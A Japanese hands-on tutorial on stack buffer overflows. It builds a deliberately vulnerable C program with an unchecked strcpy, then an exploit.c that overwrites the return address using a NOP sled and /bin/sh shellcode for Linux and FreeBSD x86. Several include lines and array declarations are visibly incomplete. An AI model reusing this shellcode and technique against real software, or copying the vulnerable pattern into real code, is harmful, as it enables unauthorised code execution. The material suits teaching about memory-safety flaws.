バッファオーバーフローを実際にやってみる

セキュリティの勧告でよく見かける「任意のコードを実行できる脆弱性」というのをやってみる。
任意のコードには/bin/shを呼び出すコードを用意する。
動作はx86用のFreeBSDVine Linuxで試した。


ここからは実際の工程。

脆弱性のあるプログラムを作る

/*
 * サンプルプログラム sample.c
 */

#include 
#include 


void hoge(char *s)
{
    char buf[8]; // 短い配列

    printf("bufの先頭アドレス: 0x%x\n", buf);

    strcpy(buf, s); // sが長いとbufが溢れる
}

void main(int argc, char *argv[])
{
    if (argc > 1) {
        hoge(argv[1]);
        printf("%s\n", argv[1]);
    }
}

プログラムの引数をhoge関数の配列bufにコピーするだけの内容。
あまり引数が長すぎるとbufが溢れてエラーになる。

$ cc -o sample sample.c
$ ./sample hoge
bufの先頭アドレス: 0xbfbfe8c0
hoge
$ ./sample aaaaaaaaaaaaaa
bufの先頭アドレス: 0xbfbfe8b0
[1]    31860 segmentation fault (core dumped)  ./sample aaaaaaaaaaaaaa

サンプルプログラムにバッファオーバーフローを起こす

/*
 * exploit.c
 */

#include 
#include 

// ↓これらは/bin/shを呼び出すコード

// シェルコード(Linux x86)
unsigned char shellcode_linux =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
    "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
    "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
    "\xd7\xff\xff\xff/bin/sh";

// シェルコード(FreeBSD x86)
unsigned char shellcode_freebsd = /* mudge@l0pht.com */
    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";

unsigned char ret = "\x01\xeb\xbf\xbf"; // リターンアドレス(適当に調整すべし)

unsigned char nop = "A"; // NOP命令

void main(int argc, char *argv[])
{
    char buf[1000], command[1000], *shellcode;
    int i;

    // シェルコードを決める
    if (argc > 1 && !strcmp(argv[1], "-L")) {
        printf("Linuxのシェルコードを使う\n");
        shellcode = shellcode_linux;
    } else if (argc > 1 && !strcmp(argv[1], "-F")) {
        printf("FreeBSDのシェルコードを使う\n");
        shellcode = shellcode_freebsd;
    } else {
        printf("使い方: %s オプション\n", argv[0]);
        printf("\n");
        printf("オプション:\n");
        printf(" -L : Linuxのシェルコードを使う\n");
        printf(" -F : FreeBSDのシェルコードを使う\n");
        return;
    }

    // [リターンアドレス][NOP命令の連続][シェルコード]の文字列を作る
    buf[0] = 0;
    for (i = 0; i < 4; i++) strcat(buf, ret);
    for (i = 0; i < 500; i++) strcat(buf, nop);
    strcat(buf, shellcode);

    // サンプルプログラムにバッファオーバーフローを起こす
    sprintf(command, "./sample '%s'", buf);
    system(command);
}

sample.cのhoge関数の配列bufの少し後にhoge関数が終了した時に戻るべきmain関数へのアドレスが入るので、長い文字列で配列bufを溢れさせることによってアドレスを上書きするが出来る。
上書きすることによってhoge関数が終わった時にmain関数に戻らず、上書きされたアドレスにジャンプする。


ジャンプ先は、CPUに何もさせないNOP命令(Aの文字)の連続した所にする。
NOP命令のかたまりを用意しておけば多少ジャンプ先のアドレスがずれてもいいので、アドレス指定が楽になる。


NOP命令が何回か実行されればその後に/bin/shを呼び出すコードに到達する。

実行


これはFreeBSDで試した図。
図では/bin/shを呼び出してすぐにexitと入力している。




こちらはVine LinuxコンパイルしたsampleをFreeBSDで実行した図。
Linux用のプログラムをFreeBSD上で動かした場合、Linux用のシェルコードが動く。